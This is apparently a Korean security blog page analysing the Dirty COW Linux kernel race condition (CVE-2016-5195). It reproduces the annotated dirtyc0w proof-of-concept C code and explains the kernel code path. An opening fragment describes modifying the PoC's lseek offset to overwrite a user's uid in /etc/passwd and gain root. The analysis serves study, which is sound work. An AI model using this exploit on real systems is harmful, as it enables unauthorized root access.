hexdump로 /etc/passwd 파일을 확인하고 test 계정의 uid가 0x4b4 오프셋에서 시작되는 것을 확인했다.저부분의 uid 1000 값을 덮어써서 0000으로 만들면 test계정의 uid가 0이 되고 다시 test로 로그인시 root 권한을 얻을 수 있을 것이다.

이 방법을 실행하기 위해 변조한 전체 poc중 67번째 라인 lseek(f,(uintptr_t) map,SEEK_SET);를 lseek(f,(uintptr_t) map + 0x4b4,SEEK_SET);로 바꿔준 후 다시 컴파일했다.

uid가 성공적으로 0000으로 덮어졌다!! 


로그아웃 후 다시 test 계정으로 접속해서 uid가 0(root)로 되어있는 것 까지 확인했다.
설명이 너무 장황해서 아무도 안볼듯

끝 - 






'해킹/ > kernel' 카테고리의 다른 글

CVE-2019-7304(dirty sock)  (0) 2019.03.05
kernel 1-day 분석 환경설정하기  (0) 2019.01.23
Dirty Cow (CVE-2016-5195) 분석 - 2  (0) 2019.01.22
Dirty Cow (CVE-2016-5195) 분석 - 1  (0) 2019.01.22
Comments 0
Trackbacks 0
Tags
Social

Dirty Cow (CVE-2016-5195) 분석 - 1

해킹/ kernel 2019.01.22 14:11

Dirty Cow(CVE-2016-5195) 취약점은 커널의 메모리 서브시스템에서 발생하는 취약점이다. Race Condition을 이용해 Copy-on-Write 과정에서 오류를 일으켜 읽기 권한 파일에 대한 쓰기 행위를 일으킬 수 있다.  무려 2007년 kernel verson 2.6.22부터 2016년 까지 커널에 존재하며 패치되지 않은 오래된 취약점이다. 기본적으로는 읽기 권한이 존재하는 파일에 대한 쓰기 취약점이지만 물론 vdso를 덮는다거나 /etc/passwd나 sudo 바이너리를 덮는 등 어떻게든 root 권한을 딸 수 있어 사실상 root로의 PE(privilege escalation)가 가능한 취약점이다.

연구실 세미나 준비를 위해 분석했던 취약점인 만큼 이해를 위해 필요한 배경지식을 많이 공부했었는데 이번 글에서는 이런 배경지식을 기반으로 더티카우를 개념적으로 설명하고 poc와 소스코드에 대한 분석, 마지막으로 실제 커널 디버깅을 통해 취약점이 어떻게 트리거 되는지 포스팅 한다. 

다만 발표자료에서 레이스컨디션 같은 기본적인 배경지식은 제하고 작성했다.ㅎㅎ


Background 1 - Copy on Write

Dirty CoW 자체가 페이지가 변조되었음을 의미하는 Dirty bit에서 Dirty를 가져오고 Copy on Write 에서 CoW를 가져온 네이밍이다. Copy on Write는 대체로 쓸데없는 복사 과정에서의 오버헤드를 줄이기 위해 쓰기 요청이 들어오기 전까지는 실제로 원본을 복사하지 않고 사본의 위치만을 특정해 놓는 방식을 의미한다. 변조되기 전까지는 원본의 내용을 보여주는 방식으로 리소스의 사용을 줄일 수 있다. 

하지만 Dirty CoW를 일으키는 Copy on Write는 리소스를 줄이기 위한 맥락의 CoW가 아니다.  이 Cow는 Read-only 파일이 mapping된 메모리에 무언가를 쓰려고 할 때 발생한다. Read-only 메모리에 어떻게 쓰기 요청이 가능한지는 잠시 후에 다루도록 하고, 실제로 이런 일이 발생하면 (mmap을 통한 디스크 맵핑에 MAP_PRIVATE 플래그가 설정되어 있을 경우) 실제 physical memory에 존재하는 map의 사본을 user process의 virtual address에 할당하여 수정이 가능하도록 한다. 이 경우 쓰기는 physical memory 상에서 실제 map이 아닌 사본에 이루어지므로 원본 disk에는 영향을 끼치지 않는다.


위 그림처럼 내가 메모리의 특정 위치에 대한 쓰기 권한을 가지고 있지만 그 메모리가 read-only disk에 mapping 되어 있는 경우를 상정해 보자. User process는 자신의 메모리에 "moo"라는 내용을 쓰기를 커널에 요청한다.


커널은 똑똑하게 disk에 쓰기 권한이 없다는 사실을 알아채고 이에 대한 private copy를 생성한다.


이후 address 0x12345678에 대한 page mapping을 private copy쪽으로 바꿔주면 유저 프로세스는 map 을 가리키고 있다고 생각하지만 실제 쓰기는 private copy에 일어나게 된다.


이렇게 실제 "moo"라는 문자열은 private copy에 쓰여 User process 입장에서는 메모리에 대한 R/W 권한이 이행됐고 disk입장에서는 변조가 일어나지 않아 R/O권한이 지켜졌다. 하지만 애초에 어떻게 disk를 메모리에 mapping 할때의 권한과 해당 메모리에 대한 권한이 달라질 수 있을까? 정상적인 방법은 아니지만 /proc 폴더를 사용해서 저런 비대칭을 만들어 낼 수 있다.


Background 2 - procfs

유닉스 계열 운영 체제에서는 프로세스와 시스템 정보를 디렉토리, 파일 형식으로 보여주는 procfs를 포함한다. 사실 시스템 해킹을 공부한 사람들은 자주 접해서 익숙한 /proc 폴더가 바로 이 procfs다.  보통은 /proc/PID/map으로 메모리 레이아웃을 보거나 fd로 열려있는 파일들을 확인하기도 하고, 커널 함수 심볼에 대한 정보나 메모리 자체도 볼 수 있다. 이중 dirty cow 취약점과 연관되는 파일은 /proc/self/mem 파일이다. 언급하기도 민망한 사실이지만 self는 자신의 pid로 된 /proc/PID 폴더에 대한 심볼링 링크이다. 이 mem이라는 가상 파일은 해당 프로세스의 virtual memory를 대변한다. 그리고 당연하게도 자신의 메모리 자체는 write가 가능해야 하므로 rw- 권한을 가지고 있다!

그림처럼 /proc/self/mem의 permission을 확인하면 read와 write 권한을 둘다 가지고 있는 것을 알 수 있다. 그냥 ls -al로 확인하면 편한데 캡처가 너무 얇은게 보기 싫어서 탐색기에서 긁어봤다.

그럼 이 /proc/self/mem을 이용해서 어떻게 위의 R/O, R/W 불균형을 만들어낼까?
  1. 먼저 R/O 파일을 메모리에 MAP_PRIVATE로 mmap한다. --> R/O map 생성
  2. /proc/self/mem을 open 함수를 사용해서 파일처럼 연다.  -->R/W 파일 open
  3. /proc/self/mem 이라는 R/W파일에서 map의 가상주소(0x7ff~라던지) offset에 접근하면 R/O disk map에 대한  write 행위를 요청할 수 있다.




도식화 하면 위와 같다.  가상메모리 자체를 하나의 파일로 보고 열어서 오프셋에 접근하는 방식으로 R/W R/O 불균형이 발생했다.



물론 저렇게 R/W를 요청하면 Copy on Write가 일어나 실제 디스크에 대한 쓰기가 아닌 private copy에 대한 쓰기가 되므로 직접적인 보안 위협은 '아직까지는' 일어나지 않는다.



Background 3 - madvise()

int madvise(void* addr, size_t length, int advice);
madvise는 커널에 메모리에 대한 처리를 advice 한다. Unix냐 Linux냐, glibc 버전이 몇이냐에 따라 조언의 종류가 달라지긴 하지만 기본적으로 MADV_DONTNEED는 다 가지고 있다. 

MADV_DONTNEED는 당분간은 해당 영역에 접근할 예정이 없다는 뜻이고 이 페이지에 다시 접근할 경우 접근이 성공은 하지만 최신 내용으로 메모리를 다시 채우게 된다. 페이지들이 반드시 즉시 해제되는 것은 아니며 커널에서 페이지 해제를 자유로이 적절한 시점으로 연기할 수 있다.

 http://man7.org/linux/man-pages/man2/madvise.2.html  의 리눅스 매뉴얼 페이지에 자세하게 나와있다.



Proof of Concept 

poc에 대한 해석은 위의 PoC 코드를 기준으로 작성했다.

main
  1. int main(int argc,char *argv[])  
  2. {  
  3. /* 
  4. You have to pass two arguments. File and Contents. 
  5. */  
  6.   if (argc<3) {  
  7.   (void)fprintf(stderr, "%s\n",  
  8.       "usage: dirtyc0w target_file new_content");  
  9.   return 1; }  
  10.   pthread_t pth1,pth2;  
  11. /* 
  12. You have to open the file in read only mode. 
  13. */  
  14.   f=open(argv[1],O_RDONLY);  
  15.   fstat(f,&st);  
  16.   name=argv[1];  
  17. /* 
  18. You have to use MAP_PRIVATE for copy-on-write mapping. 
  19. > Create a private copy-on-write mapping.  Updates to the 
  20. > mapping are not visible to other processes mapping the same 
  21. > file, and are not carried through to the underlying file.  It 
  22. > is unspecified whether changes made to the file after the 
  23. > mmap() call are visible in the mapped region. 
  24. */  
  25. /* 
  26. You have to open with PROT_READ. 
  27. */  
  28.   map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);  
  29.   printf("mmap %zx\n\n",(uintptr_t) map);  
  30. /* 
  31. You have to do it on two threads. 
  32. */  
  33.   pthread_create(&pth1,NULL,madviseThread,argv[1]);  
  34.   pthread_create(&pth2,NULL,procselfmemThread,argv[2]);  
  35. /* 
  36. You have to wait for the threads to finish. 
  37. */  
  38.   pthread_join(pth1,NULL);  
  39.   pthread_join(pth2,NULL);  
  40.   return 0;  
  41. }  
main 에서는 많은 행위를 하지는 않는다. 타겟 read-only 파일을 열고 MAP_PRIVATE로 메모리에 매핑한다. 이 주소는 map이라는 변수로 저장된다. 이후 두개의 스레드를 생성해서 하나의 스레드는 madvise로 map 페이지를 "MADV_DONTNEED" advice 해서 버리도록 하고, 다른 하나의 스레드는 /proc/self/mem을 열어서 map 주소의 offset에 써서 Copy on Write를 일으킨다. 두 스레드 내에서 기능이 반복 실행되며 레이스 컨디션이 발생한다.
thread 1: madvise
  1. void *madviseThread(void *arg)  
  2. {  
  3.   char *str;  
  4.   str=(char*)arg;  
  5.   int i,c=0;  
  6.   for(i=0;i<100000000;i++)  
  7.   {  
  8. /* 
  9. You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 
  10. > This is achieved by racing the madvise(MADV_DONTNEED) system call 
  11. > while having the page of the executable mmapped in memory. 
  12. */  
  13.     c+=madvise(map,100,MADV_DONTNEED);  
  14.   }  
  15.   printf("madvise %d\n\n",c);  
  16. }  
첫번째 스레드다. 딱히 설명할 것도 없이 위에서 설명한 대로 map이 할당된 페이지를 madvise를 통해 DONTNEED advice 한다.


thread 2: write to /proc/self/mem
  1. void *procselfmemThread(void *arg)  
  2. {  
  3.   char *str;  
  4.   str=(char*)arg;  
  5. /* 
  6. You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 
  7. >  The in the wild exploit we are aware of doesn't work on Red Hat 
  8. >  Enterprise Linux 5 and 6 out of the box because on one side of 
  9. >  the race it writes to /proc/self/mem, but /proc/self/mem is not 
  10. >  writable on Red Hat Enterprise Linux 5 and 6. 
  11. */  
  12.   int f=open("/proc/self/mem",O_RDWR);  
  13.   int i,c=0;  
  14.   for(i=0;i<100000000;i++) {  
  15. /* 
  16. You have to reset the file pointer to the memory position. 
  17. */  
  18.     lseek(f,(uintptr_t) map,SEEK_SET);  
  19.     c+=write(f,str,strlen(str));  
  20.   }  
  21.   printf("procselfmem %d\n\n", c);  
  22. }  
두번째 스레드다, /proc/self/mem을 열고 반복문을 돌며 파일의 포인터를 map 주소로 옮기고  write를 시도한다. Background2 에서 설명한 바와 같이 /proc/self/mem 을 통해 R/O map에 대한 쓰기 요청을 커널에 보내는 행위를 반복적으로 하는 스레드다.


Copy on Write가 일어난 시점에서 커널은 메모리의 쓰기 권한이 확보된 것으로 판단하고 페이지를 탐색한다. 이때 madvise에 의해 private copy 페이지가 버려지면 페이지를 다시 탐색하는데 앞에서 쓰기 권한이 확보된 것이라는 판단을 가지고 있기 때문에 디스크에 대한 "실제" map 페이지를 가져오며 쓰기 권한을 검사하지 않는다. 이 순서로 레이스 컨디션이 발생하면 읽기 전용 파일에 원하는 내용을 쓸 수 있다. 코드를 통해 보면 조금 더 명료하다.


Proof - Code Review (v3.8 기준)

워낙 오랫동안 커널에 존재했던 취약점이기 때문에 취약한 코드가 존재하는 형태가 중간에 달라졌다. 나는 테스트를 위해 v3.8 코드를 빌드하여 사용했으므로 code review는 v3.8을 기준으로 포스팅한다.

사실 디버깅을 하면서 어느정도 depth 까지 증명해야 하는지 고민을 많이 했다. 코드를 깊게 들어가면 갈수록 내가 이해할 수 없는 부분도 많았고 아예 어셈으로 구현되어 더이상 확인하기 힘든 부분도 있었다. 레이스 컨디션의 특성상 논리적 취약점이기 때문에 메모리 커럽션과 같이 크래시가 발생하는 포인트를 정확히 특정하는데에도 한계가 있었다. 우선은 최대한 CoW를 기준으로 개념 수준에서 설명했던 내용을 담을 수 있도록 코드 리뷰를 진행했다.

결론부터 말하면 취약한 행위는 위 콜스택 상에서 __get_user_pages 함수에서 일어난다. 유저의 메모리에 대한 읽기, 혹은 쓰기 요청이 발생하면 콜스택과 같이 mem_rw가 실행되고 실제 물리적 메모리상에 쓸 위치를 특정하기 위해 __get_user_pages 함수가 호출되게 된다. 코드 리뷰에서는 __access_remote_vm과 __get_user_pages 함수를 중점적으로 설명하게 될 것 같다



__access_remote_vm 함수 내부에서 get_user_pages를 호출하는 부분이다. ret 변수는 실행 결과를 대변하는 inteager 값이 들어가고 실제 실행올 통해 얻어낸 user page는 page 변수 내에 저장된다. ret를 통해 제대로 페이지를 가져왔는지 확인한 후 정상일 경우 아래의 else 블록이 실행된다.





kmap함수는 어셈으로 구현되어 page에 mapping된 실제 물리적 메모리 주소를 구하는 역할을 한다.  이렇게 얻어낸 결과를 maddr에 저장한다. 그리고 copy_to_user_page 함수가 실행되는데 실제로 디버깅을 해보면 저런 함수는 없고 그냥 memcpy 함수가 실행된다. 쓰려는 값이 buf에서 물리적 메모리 주소인 maddr로 memcpy가 일어난다. 물론 읽기의 경우는 반대로 memcpy 한다. 

그럼 이제 __get_user_pages 함수로 가져온 페이지에 memcpy 하는 것을 확인했으니 __get_user_pages 함수를 보며 Copy on Write가 발생하는 부분과 그부분이 왜 취약한지 확인해보자.




__get_user_pages 함수에서 조금 아래로 내려오면 위와 같은 do_while loop와 그 안에 while loop을 볼 수 있다. 먼저 윗쪽에 표시한 gup_flags는 필요한 권한을 나타내는 flag들이 올라가 있는 unsigned int 값이며 __get_user_pages 함수가 호출될 때 인자로 전달되는 값이다. 이 값을 foll_flags라는 변수에 옮겨담는 것을 볼 수 있다.

아래쪽 while loop에서는 이 foll_flags를 만족하는 page를 찾기 위해 follow_page 함수를 호출하고 page를 정상적으로 찾지 못했을 경우 처리하는 루틴이 들어있는 것을 볼 수 있다. 이 루프에서 제일 중요한 문제가 발생한다!




__get_user_pages에서 while loop의 안쪽이다.  foll_flags를 기준으로 어떤 flag로 인해 에러가 났는지 확인해서 fault_flags라는 변수를 만들어 낸 후 fault_falgs를 처리하기 위해 handle_mm_fault 함수가 호출된다. Dirty Cow의 겨웅에는 쓰기 권한이 없는 페이지에 대한 Write 요청이 문제다 되었으므로 FOLL_WRITE 플래그에 대한 처리를 할 것이고 결과적으로 Copy on Write가 일어나 기존의 디스크가 매핑되어 있는 페이지가 사라지고 private copy를 만들어 낼 것이다. 실제로 handle_mm_falut 함수 -> handle_pte_fault -> do_wp_page에 의해 copy on write가 발생하니 의심이 간다면 실제로 디버깅을 해보면 된다.


그리고 바로 다음 부분에서 문제의 코드가 실행된다. 이렇게 사본을 만들어 낸 후 다시 while loop의 첫부분으로 가서 follow_page 함수의 호출을 통해 페이지를 찾아야 하는데 이때  private copy 페이지에 쓰기를 허용하기 위해 foll_flags 변수에서 FOLL_WRITE 권한에 대한 검사를 빼버린다. 이제 while loop의 조건부로 돌아가서 follow_page 함수를 호출할 때는 더이상 FOLL_WRITE 권한을 검사하지 않는다.

문제는 이때 다른 스레드에서 map에 대한 madivse(MADV_DONTNEED)가 발생할 경우 private copy 페이지가 버려지게 된다. 그러면 follow_page 함수는 private copy 페이지를 찾지 못하고 다른 페이지를 찾아야 할 것이다. 이때 foll_flags에는 이미 FOLL_WRITE 권한이 삭제된 상황이므로 페이지가 디스크에 매핑된 R/O 원본 페이지더라도 권한상의 문제점을 발견하지 못한다. 즉 이때 follow_page 함수는 내가 찾는 페이지가 값이 쓰이게 될 페이지인지 알지 못한다. 이렇게 원본 페이지가 반환되게 되면 copy_to_user_page 부분까지 정상적으로 실행되면서 R/O인 디스크 매핑에 값이 쓰여지게 된다. 


이렇게 해서 코드 리뷰까지는 완료했고 뒤에 디버깅과 익스플로잇까지 글을 적어뒀지만 망할 티스토리가 용량문제로 에버노트에서 글을 못가져오는 것 같다. 어쩔 수 없이 디버깅과 root 익스플로잇은 다음 포스팅으로 넘기도록 한다.


















'해킹/ > kernel' 카테고리의 다른 글

CVE-2019-7304(dirty sock)  (0) 2019.03.05
kernel 1-day 분석 환경설정하기  (0) 2019.01.23
Dirty Cow (CVE-2016-5195) 분석 - 2  (0) 2019.01.22
Dirty Cow (CVE-2016-5195) 분석 - 1  (0) 2019.01.22
Comments 0
Trackbacks 0
Tags
Social

Grotesque - starcraft

2018.03.30 17:32

Please enter a vaild password to see the contents.

Grotesque - sudoku

2018.03.24 16:54

Please enter a vaild password to see the contents.